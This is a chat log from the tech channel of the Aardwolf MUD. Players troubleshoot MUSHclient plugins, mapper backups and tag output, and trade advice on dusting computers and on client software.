T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ixle Tech: Is this from a phone?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ayasinda Tech: there are other ways to have internet. Not just wifi
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: well its the only thing i have, if want to acces http sites i have to log in on the hotspot, and not for aard, but thx
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: Prekursive Fraktal is still confused.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ayasinda Tech: then it will prolly go via your phone's data bundel
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Frak.. that's how it works. If you think otherwise, I suggest you learn a bit more about how it works.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: sorry i was askng how it works
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: And yet when told - you disagreed, and simply said "nope"
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: ok sorry for bringing this up then .. the only thing i noticed is that i can turn on my pc.. not login to my hotspot.. open a brouser and it'll say *no internet connection.. yet aard will start.. found it odd thats all
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Teklor Tech: what file holds all the mapper data for aard mush...i want to reinstall mush but don't want to lose any of my map stuff
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: aardwolf.db, usually
T3/r7/2013-05-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: check the upgrade website.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: but Vakieh is correct
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Keep the .db and .mcl files and you are usually good to go
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But you will have to manually add any new plugins that might come in
T3/r7/2013-05-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: whatever you do I'd start by closing mush completely and creeating a zip backup of the entire folder
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Teklor Tech: yeah i'm going to make a copy and stick it in a safe place
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: That sounded dirty...
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: how come when i transfer my mapper database to my new folder it wont update?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: all my mapper database is not uploading into my new mush client folder
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Leinei Tech: Did you follow the directions on the aardwolf website?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: yeah i did for some reason its not working >< and when i open my old mush client my mapper is brand new for some reason...
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Leinei Tech: Is your world named the same thing?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: yeah ...
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: i think i took the wrong back up > <
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: because ive explored alot of places but now its all gone for some reason even from my backup mush..
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: hey can someone help me with a little problem please
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: maybe, maybe not
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: i have this problem
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: is it the same problem as earlier, or something new?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: i get this msg The adrenaline rush wears off. {affoff}97 Your mental barrier breaks down. {affoff}126 how do i get that affoff 126 away?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: either use a spellup script, which will use that message but hide it from you, or turn off tags spellups
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: yeah but i get it in help files as well
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: {helpbody} {/helpbody}
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: right
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: because you had used a helpfile capture plugin, but aren't now
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: how do i fix it?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: its catching my eye ><
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: as I said, use the plugin again, or turn off the tags
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: both of those are valid fixes for it
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: type tags...those are the things which you can turn on/off {stuff}
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: can i turn it all off?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: yes, but it is not smart to, when you're using a client
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Sgurbuz Tech: ahh ok
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: tags are meant to be on but never seen
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: although I like using the roomobjs and roomchars to see
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: help tags explains how to turn them on/off individually and as a whole
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: but since a couple hours ago you were talking about moving to a new MUSHclient folder, I think that the only reason you're seeing those tags is that you have not enabled the same plugins that you had in your previous installation..I'd bet Bast's spellup and Bast's miniwin_helps
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Teklor Tech: how do you make an alias that will send commands to the mapper and not to the mud?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: send to execute
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: that lets you use an alias within an alias
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: and the mapper commands really are just aliases
T3/r7/2013-05-25.txt.gz:{chan ch=tech}VampireDude Tech: if botting were legal, how much time would it take to hit t9 r7?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: 2 weeks
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: o/
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: So.. any reccomendations on a good shop vac for computer-cleaning purposes?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: vacuming out old desktops, and the like
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: honestly... I never liked the idea of having something blowing/pulling particles that fast across potentially sensitive electronics
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: actual, working computers, or junk boxes that are there just to keep parts stored out of the way so nothing damages them?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: How would you suppose to clean out mass quantities of dust in a large volume of pcs
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: keep them in clean rooms?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught snickers at his own evil thoughts.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: I mean, legitimate question. Presently just using compressed air.. but the dust is causing me sinus problems, so was hoping to get something to vacum vs just blow it out
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: Get a air cleaner. 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Define air cleaner, ranrr
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: do you mean an air filter?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: Maybe it's called an air purifier.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: they make handvacs dedicated to electronics care.  They're really just handheld vacuums of the normal housecleaning type, just with smaller hose/attachments for getting into tight spaces.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: That doesn't get the dust out of the systems.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: Once of these devices with an electrostatic filter.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Nod hans.. thats about what I was looking for. something specifically for computers. But suitable
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Yeah ran. that doesn't clean the pc =p
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: Right. But it you have an air purifier, you won't need to clean your computer.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Ran.. it's not my computer I'm worried about.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: its the hundreds of desktops I service during a week
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: nah, you'll still need to clean 'em.  They're like black holes for dirt.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: Get some breathing protection when you clean them.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Only goes so far unfortunately. and doesn't stop my workspace from getting dusty, so i'd need to wear the mask all day
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: this one looks suitably expensive: http://www.bhphotovideo.com/bnh/controller/home?O=&sku=599909&is=REG&Q=&A=details
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: lol.. suitably expensive? =p
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well in the absense of non-suspect online reviews from actual buyers, I subscribe to the position that you get what you pay for (generally)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Fair.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Requiring bags is kind of a second thought about it
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: I just take them outside and blow 'em out there
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: here is a few of them: http://www.staples.com/Computer-Vacuum-Cleaners/cat_CL141480
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Not an option, unfortunately abe
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: problem is I'm not seeing a lot of reviews
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: or I'd be more helpful :(
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: maybe... http://www.epinions.com/Vacuums/skp_~1/dl_~/search_vertical_~all/search_string_~computer%20vacuum%20cleaner
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Honestly, tempted just to go buy a shop vac for like the garage.. small 2.5hp or something.. but i know no esd prevention, etc
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: honestly I've never been in the market for one. Any time I've had a tower which needed cleaning, I generally tackled it with q-tips and various supposedly-electronics-friendly liquids
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: that'd... take a lot of time.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well not with one tower
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I've rarely had multiples
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: the vacs aren't intended for use for heavy cleaning.  They're basically just reverse versions of canned air.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I have multiple laptops... but those don't break out well
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Nod. It's not one system, unfortunately. Taking 50+/day on busy days
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: meh, esd isn't really an issue from a shop-vac (although when you CAN take them outside, a shop-vac in blow mode with a reducing attachment is great)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Ah, we've already got large compressor with air piped in to the shop. just trying to find an option to keep the dust down
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: if you're having trouble with sinus issues, you may consider some sort of face mask kinda thing...
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Thats already been mentioned onslaught. Only helps so much - and doesn't stop the area from getting dusty.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ah, sorry
T3/r7/2013-05-26.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: if you're having sinus issues, my i suggest you get gender realigement and become a man
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: You fall to the floor laughing at LOL YOLO Gruagach's remark.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: if noise isn't an issue for your workspace, could probably buy a shopvac and a customized array of attachments to set up to suck dust from the air as you blow it out.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Last I checked sinuses were something that both sexes had, Gru. Maybe if you got close to a woman sometime you'd realize that.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: You can probably buy and ESD classed shopvac, if that's a requirement. It'll probably cost 10 times as much as a regular one.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ranrr Tech: an*
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Unlikely to be one. Will check with my employer though.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hanslanda Tech: a quick fix for dust collection, assuming noise isn't a problem, is perhaps use a hose vacuum/shopvac attached to a clear plastic bag.  In theory, the bag would corral the dust you're blowing out and the vac would suck it out.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Any reccomendations on test prep materials for PC certs? I've heard of Transcender.. and I know O'reilly makes good books.. but any other names to look in to?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: uhh, triple a?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: Triple A?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Justar Tech: anyone using the blowtorch client? is it playable given the small screen sizes even for samsung galaxy s4?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: thats very much as personal opinion, Justar
T3/r7/2013-05-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I use it on my razr
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: I mostly just use it to log in and chat
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Justar Tech: im thinking of using it for qsitting at level 1.. not sure if anyone has any opinions on the playability?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: it's free. Try it out. if it doesn't work, no worries
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: with runto I suspect you'll have a very easy time of it for quests at 1 though
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Justar Tech: thats true, thanks.. was just lazy to go through the process of installing it 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Vonliege Tech: I am sudenly getting a binch of extra 'behond the scenes-looking' information in my output window.. I suspect that I have inadvertently tripped a switch of somesort, but there is nothing obvious to indiecate WHAT at teh point the extra data started.  I am using Ardmush, and here is an example of what the extra output looks like:  {chan ch=auction}Auction: Devol is auctioning.... 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: looks like you've disabled teh channel catching plugin that puts channels in a different window
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: That looks like gmcp output, like gmcp debugging is on
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the 'extra' information is supplied by the 'tags' command and should normally be parsed out by the chat window
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Vonliege Tech: good guess, but I think it's something different... my inbentory is also in permenant "invdata' mode
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: try just 'tags off' see how it is then
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ixle Tech: help tags, see if that explains it
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Vonliege Tech: It was the triggers... My triggers somehow got diabled
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Vonliege Tech: which is odd, 'cause I can't think of a single reason why I would do that on putpose
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: hey guys i dont know how to post a error without typing the whole thing out in the boards can i just post the error here its a error with aardwolf_disarm
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ixle Tech: This sounds like it could be client related so yes here would be the place.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ok here i go
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: Run-time error
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: Plugin: Aardwolf_WeaponSwitch (called from world: Aardwolf)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: Immediate execution
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...esktop\M\MUSHclient\worlds\plugins\Bast\lua\sqlitedb.lua:134: attempt to call a nil value
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: tack traceback:
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...esktop\M\MUSHclient\worlds\plugins\Bast\lua\sqlitedb.lua:134: in function 'updateversion'
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...esktop\M\MUSHclient\worlds\plugins\Bast\lua\sqlitedb.lua:95: in function 'checkversion'
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...esktop\M\MUSHclient\worlds\plugins\Bast\lua\sqlitedb.lua:53: in function 'postinit'
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...ri\Desktop\M\MUSHclient\worlds\plugins\Bast\lua\eqdb.lua:227: in function 'initialize'
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ...M\MUSHclient\worlds\plugins\Bast\lua\objectlua\Class.lua:19: in function 'new'
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: [string "Plugin"]:159: in main chunk
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: [WARNING] C:\Users\Sabri\Desktop\M\MUSHclient\worlds\plugins\Bast\Aardwolf_disarm.xml
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: Line  402: Error parsing script (Cannot load)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ixle Tech: oh well..
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ixle Tech: Maybe summarize next time? :p
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: oh sorry
T3/r7/2013-05-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or post to pastebin.com and post a ur
T3/r7/2013-05-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: url*
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ok ill keep that in mind
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: http://pastebin.com/arHKcMcJ
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: so anyone have any idea with my problem?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}VampireDude Tech: not sure what it is, but did you try rebooting?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't listen to him. :p
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: nope
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: lol
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: are you using Bast's eqdb plugin? It looks like it errored out trying to update the database schema in a Bast database file, which is stored in MUSHclient\logs
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: all i did was download the zip file unzip it into the my plugins folder and tried to load plugin
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: im getting error with nearly all the plugins
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: it may be that the database file was partially created when you tried loading it when it was in the wrong spot earlier, so I'd delete (or just move) that database file and let it be recreated
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: do i have to exit mush client?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: umm, OK, there's a difference between getting lots of errors from lots of plugins, and "the weaponswitcher one isn't working"...
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: yeah i tried weapon switcher , eqset , eqlookup 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: the miniwin plugins work
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: let me try what you said
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: it's all the ones trying to use the eq.db file...
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: which may all stem from the first time you tried to load disarm
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: still getting the same error
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: i even tried it on a clean install of mush
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: i give uop
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: so does anyone else use any eqset plugins?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: lots of people do...the issue is in Bast's sqlitedb.lua file. It looks like he changed the bits of that file that are causing the error at the end of March
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: how do i use a script file that ends with .tf?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Hrung Tech: it's for tinyfugue mud client
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ahh
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: sgurbuz: go here: https://bastmush.googlecode.com/svn-history/r2032/trunk/Bast/lua/sqlitedb.lua...copy/paste that into a textfile that you name "sqlitedb.lua" and replace the sqlitedb.lua file that's in C:\Users\Sabri\Desktop\M\MUSHclient\worlds\plugins\Bast\lua
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: then try adding the aardwolf_disarm plugin
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: anyway i can convert it so i can use it with this mushclient?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: ><
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: mushclient uses a totally different setup than other clients. I'm learning that the hard way as I'm trying to learn how to customize my own, heh
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: So you can't just convert scripts from other clients
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: To be fair I wouldn't expect different clients to do things the same way.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: well, basically all clients use totally different setups than all other clients, it's not that mushclient is the different one...
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: Well it used to be that you could convert things from some to others, but it's been years since I've tried
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: the only exception is new clients which are based off previous ones, like cmud is a zmud successor (and zmud based itself on tintin++)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: you can still do that today as much as ever
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Daloran Tech: zmud is based on tintin? or just the scripting lan guage
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Scripts can be written in similar languages, but I wouldn't expect much more to be common unless they are derivatives, as Abelinc mentioned.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: however, you could only ever do that for basic stuff, and script complexity is worlds beyond what it used tobe
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: that's for sure
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: tinyfugue comes with a "tintin compatibility" library, and aard's MUSHclient ships with a slight z/cmud compatibility thing, just for things like #alias, etc
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: Huh, I didn't know that. About the compatibility thing I mean. 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: spend some quality time on the wiki part of Fiendish's site for lots of info on the AardMUSH package :-)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}VampireDude Tech: angone know a good method of self winding a set of wye configured coils?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}VampireDude Tech: k thx ne ways
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: sgurbuz: have you tried using that other version of the sqlitedb.lua file?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: why is my mapper not using my gold rush portal when im trying to portal there instead it used honey comb?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: it only uses what it knows about
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: hmm
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: dafuq 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Kev Tech: on the Mushclient when you download the updates what folder do you unzip the updates to.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: a new one
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Saenchai Tech: hi, when using MAG with mudlet, I'm getting carriage returns in the main window whenever there's a new chat message, even though it shows up in the chat window.  Is there a way to fix this? 
T3/r7/2013-05-26.txt.gz:{chan ch=tech}VampireDude Tech: is truecrypt or luks your personal preference?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ymerd Tech: truecrypt
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: anybody use bast plugins?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: yes, yes I do!
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ayasinda Tech: lots of us do
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: I have them, but they caused issues
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: see im not the only one
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Who said you were?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: I haven't been able to get any of them to work, usually when I enable one another script it seens to rely on fails  =(
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Which ones are you trying to use?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: spellup and combattracker for starters
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and you've been following directions here: https://code.google.com/p/bastmush/wiki/Installation
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: I'm a newbie to be sure, if those aren't worth worrying about I'd take any suggestions  =)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: yea it gives me a runtime error on enabling in broadcast_kills, says it calls a nil value
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: me to
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: I use winkle's spellup plugin, not sure if there's much difference between them but for spellup refreshing you could try that instead
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It could be a bug, you should submit it as an issue.  I've never seen that error, but possible it just shows up on a new install.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: https://code.google.com/p/bastmush/issues/list
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If it's happening to both of you.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: would it be better to work with an original MUCHclient for plugin use, or the one slightly tweaked for Aardwolf?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: 100% better to use the one built for Aardwolf.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ayasinda Tech: always use the aardmushclient
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: ok, its what I have- I'll try out winkle, thx  =)
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: so I'm trying the bast plugins again. Is there a command I can type to get rid of the window that shows the latest changes? I can't do a right click on it, screen reader isn't cooperating there
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: All I did was install the stat one but it put that window up there too
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Ayasinda Tech: Bast is showing online. You might want to try sending him a tell.
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: Will do. Just figured I'd ask here first in case someone knew
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Faylen Tech: Ok, for now just removed the update checker, not sure why it installed itself but it removed happily enough
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: anybody know how to grab a toolbar that has its grabber area out of the world display?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tynrael Tech: in case anybody was curious many of the Bast plugins I was trying were making calls to another script to check/update versions that was returning zero values, commenting out the check in that script has everything working great now
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Wildkard Tech: using a fairly vanella aard mush client - typing note list on the ideas board disconnects me
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Pagesize too big?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Wildkard Tech: don't think i have any pagesize set, things just scroll till they are done
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Set a large pagesize, like 300?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ideas board is very large
